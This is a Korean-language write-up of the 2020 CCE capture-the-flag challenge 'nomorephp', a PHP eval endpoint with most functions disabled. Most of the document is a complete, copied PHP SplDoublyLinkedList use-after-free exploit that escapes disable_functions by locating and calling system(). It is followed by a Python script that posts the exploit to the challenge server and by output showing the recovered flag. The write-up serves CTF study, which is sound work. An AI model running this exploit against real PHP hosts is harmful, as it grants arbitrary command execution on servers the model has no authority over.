2020 CCE - nomorephp

문제는 이게 끝이다.

<?php
    eval($_GET['code']);
    show_source(__FILE__);
?>

우선 http://54.180.143.146/?code=phpinfo();로 phpinfo 를 확인해보면 아래와 같은 정보들을 얻을 수 있다.

- PHP Version 7.4.10
- open_basedir /var/www/html
- disable_functions : 	pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,fwrite,ini_set,chdir

버전이 생각보다 최신버전이고.. disable function들이 많아서 .so파일을 업로드해서 setenv로 LD_PRELOAD 설정하고 error_log나 mail함수로 트리거 하는게 전형적인 bypass 방식이지만
우선 이 문제는 그 어느곳에도 업로드할만한 곳이 보이질 않았다. /tmp도 업로드가 안되고..

근데 검색해보니 그저께 7.4.10 에서도 가능한 UAF Sandbox Escape 코드 글이 올라왔었다.
https://ssd-disclosure.com/ssd-advisory-php-spldoublylinkedlist-uaf-sandbox-escape/

그대로 코드 복붙하니.. 됐다..
저 글을 보기전에 긴 시간동안 삽질을 했다보니 좀 많이 허탈하기도 했고 문제 의도가 궁금하기도 하고.. 그냥 이 write-up은 기록차 올리기로 했다..

uaf.php

<?php
#
# PHP SplDoublyLinkedList::offsetUnset UAF
# Charles Fol (@cfreal_)
# 2020-08-07
# PHP is vulnerable from 5.3 to 8.0 alpha
# This exploit only targets PHP7+.
#
# SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration.
# Said iteration is done by keeping a pointer to the "current" DLL element.
# You can then call next() or prev() to make the DLL point to another element.
# When you delete an element of the DLL, PHP will remove the element from the
# DLL, then destroy the zval, and finally clear the current ptr if it points
# to the element. Therefore, when the zval is destroyed, current is still
# pointing to the associated element, even if it was removed from the list.
# This allows for an easy UAF, because you can call $dll->next() or
# $dll->prev() in the zval's destructor.
#  
#


define('NB_DANGLING', 200);
define('SIZE_ELEM_STR', 40 - 24 - 1);
define('STR_MARKER', 0xcf5ea1);

function i2s(&$s, $p, $i, $x=8)
{
    for($j=0;$j<$x;$j++)
    {
        $s[$p+$j] = chr($i & 0xff);
        $i >>= 8;
    }
}


function s2i(&$s, $p, $x=8)
{
    $i = 0;

    for($j=$x-1;$j>=0;$j--)
    {
        $i <<= 8;
        $i |= ord($s[$p+$j]);
    }

    return $i;
}


class UAFTrigger
{
    function __destruct()
    {
        global $dlls, $strs, $rw_dll, $fake_dll_element, $leaked_str_offsets;

        #"print('UAF __destruct: ' . "\n");
        $dlls[NB_DANGLING]->offsetUnset(0);

        # At this point every $dll->current points to the same freed chunk. We allocate
        # that chunk with a string, and fill the zval part
        $fake_dll_element = str_shuffle(str_repeat('A', SIZE_ELEM_STR));
        i2s($fake_dll_element, 0x00, 0x12345678); # ptr
        i2s($fake_dll_element, 0x08, 0x00000004, 7); # type + other stuff

        # Each of these dlls current->next pointers point to the same location,
        # the string we allocated. When calling next(), our fake element becomes
        # the current value, and as such its rc is incremented. Since rc is at
        # the same place as zend_string.len, the length of the string gets bigger,
        # allowing to R/W any part of the following memory
        for($i = 0; $i <= NB_DANGLING; $i++)
            $dlls[$i]->next();

        if(strlen($fake_dll_element) <= SIZE_ELEM_STR)
            die('Exploit failed: fake_dll_element did not increase in size');

        $leaked_str_offsets = [];
        $leaked_str_zval = [];

        # In the memory after our fake element, that we can now read and write,
        # there are lots of zend_string chunks that we allocated. We keep three,
        # and we keep track of their offsets.
        for($offset = SIZE_ELEM_STR + 1; $offset <= strlen($fake_dll_element) - 40; $offset += 40)
        {
            # If we find a string marker, pull it from the string list
            if(s2i($fake_dll_element, $offset + 0x18) == STR_MARKER)
            {
                $leaked_str_offsets[] = $offset;
                $leaked_str_zval[] = $strs[s2i($fake_dll_element, $offset + 0x20)];
                if(count($leaked_str_zval) == 3)
                    break;
            }
        }

        if(count($leaked_str_zval) != 3)
            die('Exploit failed: unable to leak three zend_strings');

        # free the strings, except the three we need
        $strs = null;

        # Leak adress of first chunk
        unset($leaked_str_zval[0]);
        unset($leaked_str_zval[1]);
        unset($leaked_str_zval[2]);
        $first_chunk_addr = s2i($fake_dll_element, $leaked_str_offsets[1]);

        # At this point we have 3 freed chunks of size 40, which we can read/write,
        # and we know their address.
        print('Address of first RW chunk: 0x' . dechex($first_chunk_addr) . "\n");

        # In the third one, we will allocate a DLL element which points to a zend_array
        $rw_dll->push([3]);
        $array_addr = s2i($fake_dll_element, $leaked_str_offsets[2] + 0x18);
        # Change the zval type from zend_object to zend_string
        i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);
        if(gettype($rw_dll[0]) != 'string')
            die('Exploit failed: Unable to change zend_array to zend_string');

        # We can now read anything: if we want to read 0x11223300, we make zend_string*
        # point to 0x11223300-0x10, and read its size using strlen()

        # Read zend_array->pDestructor
        $zval_ptr_dtor_addr = read($array_addr + 0x30);

        print('Leaked zval_ptr_dtor address: 0x' . dechex($zval_ptr_dtor_addr) . "\n");

        # Use it to find zif_system
        $system_addr = get_system_address($zval_ptr_dtor_addr);
        print('Got PHP_FUNCTION(system): 0x' . dechex($system_addr) . "\n");

        # In the second freed block, we create a closure and copy the zend_closure struct
        # to a string
        $rw_dll->push(function ($x) {});
        $closure_addr = s2i($fake_dll_element, $leaked_str_offsets[1] + 0x18);
        $data = str_shuffle(str_repeat('A', 0x200));

        for($i = 0; $i < 0x138; $i += 8)
        {
            i2s($data, $i, read($closure_addr + $i));
        }

        # Change internal func type and pointer to make the closure execute system instead
        i2s($data, 0x38, 1, 4);
        i2s($data, 0x68, $system_addr);

        # Push our string, which contains a fake zend_closure, in the last freed chunk that
        # we control, and make the second zval point to it.
        $rw_dll->push($data);
        $fake_zend_closure = s2i($fake_dll_element, $leaked_str_offsets[0] + 0x18) + 24;
        i2s($fake_dll_element, $leaked_str_offsets[1] + 0x18, $fake_zend_closure);
        print('Replaced zend_closure by the fake one: 0x' . dechex($fake_zend_closure) . "\n");

        # Calling it now

        print('Running system("cat /flag");' . "\n");
        $rw_dll[1]('cat /flag');

        print_r('DONE'."\n");
    }
}

class DanglingTrigger
{
    function __construct($i)
    {
        $this->i = $i;
    }

    function __destruct()
    {
        global $dlls;
        #D print('__destruct: ' . $this->i . "\n");
        $dlls[$this->i]->offsetUnset(0);
        $dlls[$this->i+1]->push(123);
        $dlls[$this->i+1]->offsetUnset(0);
    }
}

class SystemExecutor extends ArrayObject
{
    function offsetGet($x)
    {
        parent::offsetGet($x);
    }
}

/**
 * Reads an arbitrary address by changing a zval to point to the address minus 0x10,
 * and setting its type to zend_string, so that zend_string->len points to the value
 * we want to read.
 */
function read($addr, $s=8)
{
    global $fake_dll_element, $leaked_str_offsets, $rw_dll;

    i2s($fake_dll_element, $leaked_str_offsets[2] + 0x18, $addr - 0x10);
    i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);

    $value = strlen($rw_dll[0]);

    if($s != 8)
        $value &= (1 << ($s << 3)) - 1;

    return $value;
}

function get_binary_base($binary_leak)
{
    $base = 0;
    $start = $binary_leak & 0xfffffffffffff000;
    for($i = 0; $i < 0x1000; $i++)
    {
        $addr = $start - 0x1000 * $i;
        $leak = read($addr, 7);
        # ELF header
        if($leak == 0x10102464c457f)
            return $addr;
    }
    # We'll crash before this but it's clearer this way
    die('Exploit failed: Unable to find ELF header');
}

function parse_elf($base)
{
    $e_type = read($base + 0x10, 2);

    $e_phoff = read($base + 0x20);
    $e_phentsize = read($base + 0x36, 2);
    $e_phnum = read($base + 0x38, 2);

    for($i = 0; $i < $e_phnum; $i++) {
        $header = $base + $e_phoff + $i * $e_phentsize;
        $p_type  = read($header + 0x00, 4);
        $p_flags = read($header + 0x04, 4);
        $p_vaddr = read($header + 0x10);
        $p_memsz = read($header + 0x28);

        if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
            # handle pie
            $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
            $data_size = $p_memsz;
        } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
            $text_size = $p_memsz;
        }
    }

    if(!$data_addr || !$text_size || !$data_size)
        die('Exploit failed: Unable to parse ELF');

    return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
    list($data_addr, $text_size, $data_size) = $elf;
    for($i = 0; $i < $data_size / 8; $i++) {
        $leak = read($data_addr + $i * 8);
        if($leak - $base > 0 && $leak < $data_addr) {
            $deref = read($leak);
            # 'constant' constant check
            if($deref != 0x746e6174736e6f63)
                continue;
        } else continue;

        $leak = read($data_addr + ($i + 4) * 8);
        if($leak - $base > 0 && $leak < $data_addr) {
            $deref = read($leak);
            # 'bin2hex' constant check
            if($deref != 0x786568326e6962)
                continue;
        } else continue;

        return $data_addr + $i * 8;
    }
}

function get_system($basic_funcs)
{
    $addr = $basic_funcs;
    do {
        $f_entry = read($addr);
        $f_name = read($f_entry, 6);

        if($f_name == 0x6d6574737973) { # system
            return read($addr + 8);
        }
        $addr += 0x20;
    } while($f_entry != 0);
    return false;
}

function get_system_address($binary_leak)
{
    $base = get_binary_base($binary_leak);
    print('ELF base: 0x' .dechex($base) . "\n");
    $elf = parse_elf($base);
    $basic_funcs = get_basic_funcs($base, $elf);
    print('Basic functions: 0x' .dechex($basic_funcs) . "\n");
    $zif_system = get_system($basic_funcs);
    return $zif_system;
}

$dlls = [];
$strs = [];
$rw_dll = new SplDoublyLinkedList();


# Create a chain of dangling triggers, which will all in turn
# free current->next, push an element to the next list, and free current
# This will make sure that every current->next points the same memory block,
# which we will UAF.
for($i = 0; $i < NB_DANGLING; $i++)
{
    $dlls[$i] = new SplDoublyLinkedList();
    $dlls[$i]->push(new DanglingTrigger($i));
    $dlls[$i]->rewind();
}

# We want our UAF'd list element to be before two strings, so that we can
# obtain the address of the first string, and increase is size. We then have
# R/W over all memory after the obtained address.
define('NB_STRS', 50);
for($i = 0; $i < NB_STRS; $i++)
{
    $strs[] = str_shuffle(str_repeat('A', SIZE_ELEM_STR));
    i2s($strs[$i], 0, STR_MARKER);
    i2s($strs[$i], 8, $i, 7);
}

# Free one string in the middle, ...
$strs[NB_STRS - 20] = 123;
# ... and put the to-be-UAF'd list element instead.
$dlls[0]->push(0);

# Setup the last DLlist, which will exploit the UAF
$dlls[NB_DANGLING] = new SplDoublyLinkedList();
$dlls[NB_DANGLING]->push(new UAFTrigger());
$dlls[NB_DANGLING]->rewind();

# Trigger the bug on the first list
$dlls[0]->offsetUnset(0);
die();

solve.py

import requests

data = {
    'payload': open('uaf.php').read().replace('<?php', '')
}

response = requests.post("http://54.180.143.146/?code=eval($_POST['payload']);", data=data)
print(response.text)

실행 결과

kimtruth ❯ python solve.py
Address of first RW chunk: 0x7f62a92caa00
Leaked zval_ptr_dtor address: 0x7f62aa1557c0
ELF base: 0x7f62a9d48000
Basic functions: 0x7f62aaa5b920
Got PHP_FUNCTION(system): 0x7f62aa071100
Replaced zend_closure by the fake one: 0x7f62a92b7298
Running system("cat /flag");
cce2020{4fa3e037f19d5be412006921e569d581b063f6df64adab8254bddfb37ec39fa61387cabc70a71e3acecf41257cd4f7550e22bb26013cf51b}
DONE